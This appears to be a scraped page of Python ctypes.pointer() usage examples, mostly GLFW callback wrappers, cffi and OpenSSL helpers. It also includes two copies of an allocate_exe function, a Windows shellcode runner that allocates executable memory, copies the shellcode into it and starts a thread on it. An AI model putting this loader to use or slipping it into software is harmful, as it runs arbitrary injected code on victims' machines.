def list(self):
"""
return a list of <PROCESSENTRY32>
"""
processes = []
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_CLASS.SNAPPROCESS, 0)
pe32 = PROCESSENTRY32()
pe32.dwSize = sizeof(PROCESSENTRY32)
ret = Process32First(hProcessSnap, pointer(pe32))
while ret:
ret = Process32Next(hProcessSnap, pointer(pe32))
if pe32.dwFlags == 0:
processes.append(copy.copy(pe32))
else:
break
CloseHandle(hProcessSnap)
return processes
python类pointer()的实例源码
def rawaddressof(self, BTypePtr, cdata, offset=None):
if isinstance(cdata, CTypesBaseStructOrUnion):
ptr = ctypes.pointer(type(cdata)._to_ctypes(cdata))
elif isinstance(cdata, CTypesGenericPtr):
if offset is None or not issubclass(type(cdata)._BItem,
CTypesBaseStructOrUnion):
raise TypeError("unexpected cdata type")
ptr = type(cdata)._to_ctypes(cdata)
elif isinstance(cdata, CTypesGenericArray):
ptr = type(cdata)._to_ctypes(cdata)
else:
raise TypeError("expected a <cdata 'struct-or-union'>")
if offset:
ptr = ctypes.cast(
ctypes.c_void_p(
ctypes.cast(ptr, ctypes.c_void_p).value + offset),
type(ptr))
return BTypePtr._from_ctypes(ptr)
def set_window_close_callback(window, cbfun):
'''
Sets the close callback for the specified window.
Wrapper for:
GLFWwindowclosefun glfwSetWindowCloseCallback(GLFWwindow* window, GLFWwindowclosefun cbfun);
'''
window_addr = ctypes.cast(ctypes.pointer(window),
ctypes.POINTER(ctypes.c_long)).contents.value
if window_addr in _window_close_callback_repository:
previous_callback = _window_close_callback_repository[window_addr]
else:
previous_callback = None
if cbfun is None:
cbfun = 0
c_cbfun = _GLFWwindowclosefun(cbfun)
_window_close_callback_repository[window_addr] = (cbfun, c_cbfun)
cbfun = c_cbfun
_glfw.glfwSetWindowCloseCallback(window, cbfun)
if previous_callback is not None and previous_callback[0] != 0:
return previous_callback[0]
def set_window_refresh_callback(window, cbfun):
'''
Sets the refresh callback for the specified window.
Wrapper for:
GLFWwindowrefreshfun glfwSetWindowRefreshCallback(GLFWwindow* window, GLFWwindowrefreshfun cbfun);
'''
window_addr = ctypes.cast(ctypes.pointer(window),
ctypes.POINTER(ctypes.c_long)).contents.value
if window_addr in _window_refresh_callback_repository:
previous_callback = _window_refresh_callback_repository[window_addr]
else:
previous_callback = None
if cbfun is None:
cbfun = 0
c_cbfun = _GLFWwindowrefreshfun(cbfun)
_window_refresh_callback_repository[window_addr] = (cbfun, c_cbfun)
cbfun = c_cbfun
_glfw.glfwSetWindowRefreshCallback(window, cbfun)
if previous_callback is not None and previous_callback[0] != 0:
return previous_callback[0]
def rawaddressof(self, BTypePtr, cdata, offset=None):
if isinstance(cdata, CTypesBaseStructOrUnion):
ptr = ctypes.pointer(type(cdata)._to_ctypes(cdata))
elif isinstance(cdata, CTypesGenericPtr):
if offset is None or not issubclass(type(cdata)._BItem,
CTypesBaseStructOrUnion):
raise TypeError("unexpected cdata type")
ptr = type(cdata)._to_ctypes(cdata)
elif isinstance(cdata, CTypesGenericArray):
ptr = type(cdata)._to_ctypes(cdata)
else:
raise TypeError("expected a <cdata 'struct-or-union'>")
if offset:
ptr = ctypes.cast(
ctypes.c_void_p(
ctypes.cast(ptr, ctypes.c_void_p).value + offset),
type(ptr))
return BTypePtr._from_ctypes(ptr)
def test_int_pointers(self):
from ctypes import c_short, c_uint, c_int, c_long, POINTER, pointer
LPINT = POINTER(c_int)
## p = pointer(c_int(42))
## x = LPINT.from_param(p)
x = LPINT.from_param(pointer(c_int(42)))
self.assertEqual(x.contents.value, 42)
self.assertEqual(LPINT(c_int(42)).contents.value, 42)
self.assertEqual(LPINT.from_param(None), None)
if c_int != c_long:
self.assertRaises(TypeError, LPINT.from_param, pointer(c_long(42)))
self.assertRaises(TypeError, LPINT.from_param, pointer(c_uint(42)))
self.assertRaises(TypeError, LPINT.from_param, pointer(c_short(42)))
def getPublicKey(self):
"""
Gets a public key.
Return value:
str; the public key data.
Exceptions:
Exception: getting the key failed
"""
if not self.hasPublicKey:
raise Exception("Public key unknown")
size = libssl.i2o_ECPublicKey(self.keyData, None)
if not size:
raise Exception("i2o_ECPublicKey failed")
b = ctypes.create_string_buffer(size)
if libssl.i2o_ECPublicKey(self.keyData, ctypes.byref(ctypes.pointer(b))) != size:
raise Exception("i2o_ECPublicKey returned unexpected size")
return ''.join(c for c in b)
def allocate_exe(shellcode):
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
def rawaddressof(self, BTypePtr, cdata, offset=None):
if isinstance(cdata, CTypesBaseStructOrUnion):
ptr = ctypes.pointer(type(cdata)._to_ctypes(cdata))
elif isinstance(cdata, CTypesGenericPtr):
if offset is None or not issubclass(type(cdata)._BItem,
CTypesBaseStructOrUnion):
raise TypeError("unexpected cdata type")
ptr = type(cdata)._to_ctypes(cdata)
elif isinstance(cdata, CTypesGenericArray):
ptr = type(cdata)._to_ctypes(cdata)
else:
raise TypeError("expected a <cdata 'struct-or-union'>")
if offset:
ptr = ctypes.cast(
ctypes.c_void_p(
ctypes.cast(ptr, ctypes.c_void_p).value + offset),
type(ptr))
return BTypePtr._from_ctypes(ptr)
def getMessagePubkey(message, sig):
pkey = ssl.EC_KEY_new_by_curve_name(NID_secp256k1)
if type(pkey) is not int and not pkey.value:
raise Exception(
"OpenSSL %s (%s) EC_KEY_new_by_curve_name failed: %s, probably your OpenSSL lib does not support secp256k1 elliptic curve. Please check: https://github.com/HelloZeroNet/ZeroNet/issues/132" %
(openssl_version, ssl._lib._name, pkey.value)
)
eckey = SetCompactSignature(pkey, Hash(msg_magic(message)), sig)
size = ssl.i2o_ECPublicKey(eckey, 0)
mb = ctypes.create_string_buffer(size)
ssl.i2o_ECPublicKey(eckey, ctypes.byref(ctypes.pointer(mb)))
pub = mb.raw
"""
if time.time() - ssl.time_opened > 60 * 5: # Reopen every 5 min
logging.debug("Reopening OpenSSL...")
closeLibrary()
openLibrary()
"""
return pub
def getFreeSpace(self):
free_space = 0
if "statvfs" in dir(os): # Unix
statvfs = os.statvfs(config.data_dir)
free_space = statvfs.f_frsize * statvfs.f_bavail
else: # Windows
try:
import ctypes
free_space_pointer = ctypes.c_ulonglong(0)
ctypes.windll.kernel32.GetDiskFreeSpaceExW(
ctypes.c_wchar_p(config.data_dir), None, None, ctypes.pointer(free_space_pointer)
)
free_space = free_space_pointer.value
except Exception, err:
self.log.debug("GetFreeSpace error: %s" % err)
return free_space
def allocate_exe(shellcode):
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
def new(library, type_, value=None):
is_pointer, is_array, type_ = _type_info(library, type_)
if is_array:
if is_array is True:
type_ = type_ * value
value = None
else:
type_ = type_ * is_array
params = []
if value is not None:
params.append(value)
output = type_(*params)
if is_pointer:
output = pointer(output)
return output
def set_window_pos_callback(window, cbfun):
'''
Sets the position callback for the specified window.
Wrapper for:
GLFWwindowposfun glfwSetWindowPosCallback(GLFWwindow* window, GLFWwindowposfun cbfun);
'''
window_addr = ctypes.cast(ctypes.pointer(window),
ctypes.POINTER(ctypes.c_long)).contents.value
if window_addr in _window_pos_callback_repository:
previous_callback = _window_pos_callback_repository[window_addr]
else:
previous_callback = None
if cbfun is None:
cbfun = 0
c_cbfun = _GLFWwindowposfun(cbfun)
_window_pos_callback_repository[window_addr] = (cbfun, c_cbfun)
cbfun = c_cbfun
_glfw.glfwSetWindowPosCallback(window, cbfun)
if previous_callback is not None and previous_callback[0] != 0:
return previous_callback[0]
def set_window_size_callback(window, cbfun):
'''
Sets the size callback for the specified window.
Wrapper for:
GLFWwindowsizefun glfwSetWindowSizeCallback(GLFWwindow* window, GLFWwindowsizefun cbfun);
'''
window_addr = ctypes.cast(ctypes.pointer(window),
ctypes.POINTER(ctypes.c_long)).contents.value
if window_addr in _window_size_callback_repository:
previous_callback = _window_size_callback_repository[window_addr]
else:
previous_callback = None
if cbfun is None:
cbfun = 0
c_cbfun = _GLFWwindowsizefun(cbfun)
_window_size_callback_repository[window_addr] = (cbfun, c_cbfun)
cbfun = c_cbfun
_glfw.glfwSetWindowSizeCallback(window, cbfun)
if previous_callback is not None and previous_callback[0] != 0:
return previous_callback[0]
def set_window_close_callback(window, cbfun):
'''
Sets the close callback for the specified window.
Wrapper for:
GLFWwindowclosefun glfwSetWindowCloseCallback(GLFWwindow* window, GLFWwindowclosefun cbfun);
'''
window_addr = ctypes.cast(ctypes.pointer(window),
ctypes.POINTER(ctypes.c_long)).contents.value
if window_addr in _window_close_callback_repository:
previous_callback = _window_close_callback_repository[window_addr]
else:
previous_callback = None
if cbfun is None:
cbfun = 0
c_cbfun = _GLFWwindowclosefun(cbfun)
_window_close_callback_repository[window_addr] = (cbfun, c_cbfun)
cbfun = c_cbfun
_glfw.glfwSetWindowCloseCallback(window, cbfun)
if previous_callback is not None and previous_callback[0] != 0:
return previous_callback[0]
def set_window_refresh_callback(window, cbfun):
'''
Sets the refresh callback for the specified window.
Wrapper for:
GLFWwindowrefreshfun glfwSetWindowRefreshCallback(GLFWwindow* window, GLFWwindowrefreshfun cbfun);
'''
window_addr = ctypes.cast(ctypes.pointer(window),
ctypes.POINTER(ctypes.c_long)).contents.value
if window_addr in _window_refresh_callback_repository:
previous_callback = _window_refresh_callback_repository[window_addr]
else:
previous_callback = None
if cbfun is None:
cbfun = 0
c_cbfun = _GLFWwindowrefreshfun(cbfun)
_window_refresh_callback_repository[window_addr] = (cbfun, c_cbfun)
cbfun = c_cbfun
_glfw.glfwSetWindowRefreshCallback(window, cbfun)
if previous_callback is not None and previous_callback[0] != 0:
return previous_callback[0]
def set_window_iconify_callback(window, cbfun):
'''
Sets the iconify callback for the specified window.
Wrapper for:
GLFWwindowiconifyfun glfwSetWindowIconifyCallback(GLFWwindow* window, GLFWwindowiconifyfun cbfun);
'''
window_addr = ctypes.cast(ctypes.pointer(window),
ctypes.POINTER(ctypes.c_long)).contents.value
if window_addr in _window_iconify_callback_repository:
previous_callback = _window_iconify_callback_repository[window_addr]
else:
previous_callback = None
if cbfun is None:
cbfun = 0
c_cbfun = _GLFWwindowiconifyfun(cbfun)
_window_iconify_callback_repository[window_addr] = (cbfun, c_cbfun)
cbfun = c_cbfun
_glfw.glfwSetWindowIconifyCallback(window, cbfun)
if previous_callback is not None and previous_callback[0] != 0:
return previous_callback[0]
def set_framebuffer_size_callback(window, cbfun):
'''
Sets the framebuffer resize callback for the specified window.
Wrapper for:
GLFWframebuffersizefun glfwSetFramebufferSizeCallback(GLFWwindow* window, GLFWframebuffersizefun cbfun);
'''
window_addr = ctypes.cast(ctypes.pointer(window),
ctypes.POINTER(ctypes.c_long)).contents.value
if window_addr in _framebuffer_size_callback_repository:
previous_callback = _framebuffer_size_callback_repository[window_addr]
else:
previous_callback = None
if cbfun is None:
cbfun = 0
c_cbfun = _GLFWframebuffersizefun(cbfun)
_framebuffer_size_callback_repository[window_addr] = (cbfun, c_cbfun)
cbfun = c_cbfun
_glfw.glfwSetFramebufferSizeCallback(window, cbfun)
if previous_callback is not None and previous_callback[0] != 0:
return previous_callback[0]
def set_key_callback(window, cbfun):
'''
Sets the key callback.
Wrapper for:
GLFWkeyfun glfwSetKeyCallback(GLFWwindow* window, GLFWkeyfun cbfun);
'''
window_addr = ctypes.cast(ctypes.pointer(window),
ctypes.POINTER(ctypes.c_long)).contents.value
if window_addr in _key_callback_repository:
previous_callback = _key_callback_repository[window_addr]
else:
previous_callback = None
if cbfun is None:
cbfun = 0
c_cbfun = _GLFWkeyfun(cbfun)
_key_callback_repository[window_addr] = (cbfun, c_cbfun)
cbfun = c_cbfun
_glfw.glfwSetKeyCallback(window, cbfun)
if previous_callback is not None and previous_callback[0] != 0:
return previous_callback[0]
def set_char_callback(window, cbfun):
'''
Sets the Unicode character callback.
Wrapper for:
GLFWcharfun glfwSetCharCallback(GLFWwindow* window, GLFWcharfun cbfun);
'''
window_addr = ctypes.cast(ctypes.pointer(window),
ctypes.POINTER(ctypes.c_long)).contents.value
if window_addr in _char_callback_repository:
previous_callback = _char_callback_repository[window_addr]
else:
previous_callback = None
if cbfun is None:
cbfun = 0
c_cbfun = _GLFWcharfun(cbfun)
_char_callback_repository[window_addr] = (cbfun, c_cbfun)
cbfun = c_cbfun
_glfw.glfwSetCharCallback(window, cbfun)
if previous_callback is not None and previous_callback[0] != 0:
return previous_callback[0]
def set_cursor_pos_callback(window, cbfun):
'''
Sets the cursor position callback.
Wrapper for:
GLFWcursorposfun glfwSetCursorPosCallback(GLFWwindow* window, GLFWcursorposfun cbfun);
'''
window_addr = ctypes.cast(ctypes.pointer(window),
ctypes.POINTER(ctypes.c_long)).contents.value
if window_addr in _cursor_pos_callback_repository:
previous_callback = _cursor_pos_callback_repository[window_addr]
else:
previous_callback = None
if cbfun is None:
cbfun = 0
c_cbfun = _GLFWcursorposfun(cbfun)
_cursor_pos_callback_repository[window_addr] = (cbfun, c_cbfun)
cbfun = c_cbfun
_glfw.glfwSetCursorPosCallback(window, cbfun)
if previous_callback is not None and previous_callback[0] != 0:
return previous_callback[0]
def set_cursor_enter_callback(window, cbfun):
'''
Sets the cursor enter/exit callback.
Wrapper for:
GLFWcursorenterfun glfwSetCursorEnterCallback(GLFWwindow* window, GLFWcursorenterfun cbfun);
'''
window_addr = ctypes.cast(ctypes.pointer(window),
ctypes.POINTER(ctypes.c_long)).contents.value
if window_addr in _cursor_enter_callback_repository:
previous_callback = _cursor_enter_callback_repository[window_addr]
else:
previous_callback = None
if cbfun is None:
cbfun = 0
c_cbfun = _GLFWcursorenterfun(cbfun)
_cursor_enter_callback_repository[window_addr] = (cbfun, c_cbfun)
cbfun = c_cbfun
_glfw.glfwSetCursorEnterCallback(window, cbfun)
if previous_callback is not None and previous_callback[0] != 0:
return previous_callback[0]
def set_scroll_callback(window, cbfun):
'''
Sets the scroll callback.
Wrapper for:
GLFWscrollfun glfwSetScrollCallback(GLFWwindow* window, GLFWscrollfun cbfun);
'''
window_addr = ctypes.cast(ctypes.pointer(window),
ctypes.POINTER(ctypes.c_long)).contents.value
if window_addr in _scroll_callback_repository:
previous_callback = _scroll_callback_repository[window_addr]
else:
previous_callback = None
if cbfun is None:
cbfun = 0
c_cbfun = _GLFWscrollfun(cbfun)
_scroll_callback_repository[window_addr] = (cbfun, c_cbfun)
cbfun = c_cbfun
_glfw.glfwSetScrollCallback(window, cbfun)
if previous_callback is not None and previous_callback[0] != 0:
return previous_callback[0]
def rawaddressof(self, BTypePtr, cdata, offset=None):
if isinstance(cdata, CTypesBaseStructOrUnion):
ptr = ctypes.pointer(type(cdata)._to_ctypes(cdata))
elif isinstance(cdata, CTypesGenericPtr):
if offset is None or not issubclass(type(cdata)._BItem,
CTypesBaseStructOrUnion):
raise TypeError("unexpected cdata type")
ptr = type(cdata)._to_ctypes(cdata)
elif isinstance(cdata, CTypesGenericArray):
ptr = type(cdata)._to_ctypes(cdata)
else:
raise TypeError("expected a <cdata 'struct-or-union'>")
if offset:
ptr = ctypes.cast(
ctypes.c_void_p(
ctypes.cast(ptr, ctypes.c_void_p).value + offset),
type(ptr))
return BTypePtr._from_ctypes(ptr)
def rawaddressof(self, BTypePtr, cdata, offset=None):
if isinstance(cdata, CTypesBaseStructOrUnion):
ptr = ctypes.pointer(type(cdata)._to_ctypes(cdata))
elif isinstance(cdata, CTypesGenericPtr):
if offset is None or not issubclass(type(cdata)._BItem,
CTypesBaseStructOrUnion):
raise TypeError("unexpected cdata type")
ptr = type(cdata)._to_ctypes(cdata)
elif isinstance(cdata, CTypesGenericArray):
ptr = type(cdata)._to_ctypes(cdata)
else:
raise TypeError("expected a <cdata 'struct-or-union'>")
if offset:
ptr = ctypes.cast(
ctypes.c_void_p(
ctypes.cast(ptr, ctypes.c_void_p).value + offset),
type(ptr))
return BTypePtr._from_ctypes(ptr)
def rawaddressof(self, BTypePtr, cdata, offset=None):
if isinstance(cdata, CTypesBaseStructOrUnion):
ptr = ctypes.pointer(type(cdata)._to_ctypes(cdata))
elif isinstance(cdata, CTypesGenericPtr):
if offset is None or not issubclass(type(cdata)._BItem,
CTypesBaseStructOrUnion):
raise TypeError("unexpected cdata type")
ptr = type(cdata)._to_ctypes(cdata)
elif isinstance(cdata, CTypesGenericArray):
ptr = type(cdata)._to_ctypes(cdata)
else:
raise TypeError("expected a <cdata 'struct-or-union'>")
if offset:
ptr = ctypes.cast(
ctypes.c_void_p(
ctypes.cast(ptr, ctypes.c_void_p).value + offset),
type(ptr))
return BTypePtr._from_ctypes(ptr)
def rawaddressof(self, BTypePtr, cdata, offset=None):
if isinstance(cdata, CTypesBaseStructOrUnion):
ptr = ctypes.pointer(type(cdata)._to_ctypes(cdata))
elif isinstance(cdata, CTypesGenericPtr):
if offset is None or not issubclass(type(cdata)._BItem,
CTypesBaseStructOrUnion):
raise TypeError("unexpected cdata type")
ptr = type(cdata)._to_ctypes(cdata)
elif isinstance(cdata, CTypesGenericArray):
ptr = type(cdata)._to_ctypes(cdata)
else:
raise TypeError("expected a <cdata 'struct-or-union'>")
if offset:
ptr = ctypes.cast(
ctypes.c_void_p(
ctypes.cast(ptr, ctypes.c_void_p).value + offset),
type(ptr))
return BTypePtr._from_ctypes(ptr)
def rawaddressof(self, BTypePtr, cdata, offset=None):
if isinstance(cdata, CTypesBaseStructOrUnion):
ptr = ctypes.pointer(type(cdata)._to_ctypes(cdata))
elif isinstance(cdata, CTypesGenericPtr):
if offset is None or not issubclass(type(cdata)._BItem,
CTypesBaseStructOrUnion):
raise TypeError("unexpected cdata type")
ptr = type(cdata)._to_ctypes(cdata)
elif isinstance(cdata, CTypesGenericArray):
ptr = type(cdata)._to_ctypes(cdata)
else:
raise TypeError("expected a <cdata 'struct-or-union'>")
if offset:
ptr = ctypes.cast(
ctypes.c_void_p(
ctypes.cast(ptr, ctypes.c_void_p).value + offset),
type(ptr))
return BTypePtr._from_ctypes(ptr)
def get_window_user_pointer(window):
'''
Returns the user pointer of the specified window.
Wrapper for:
void* glfwGetWindowUserPointer(GLFWwindow* window);
'''
window_addr = ctypes.cast(ctypes.pointer(window),
ctypes.POINTER(ctypes.c_long)).contents.value
if window_addr in _window_user_data_repository:
data = _window_user_data_repository[window_addr]
is_wrapped_py_object = data[0]
if is_wrapped_py_object:
return data[1]
return _glfw.glfwGetWindowUserPointer(window)
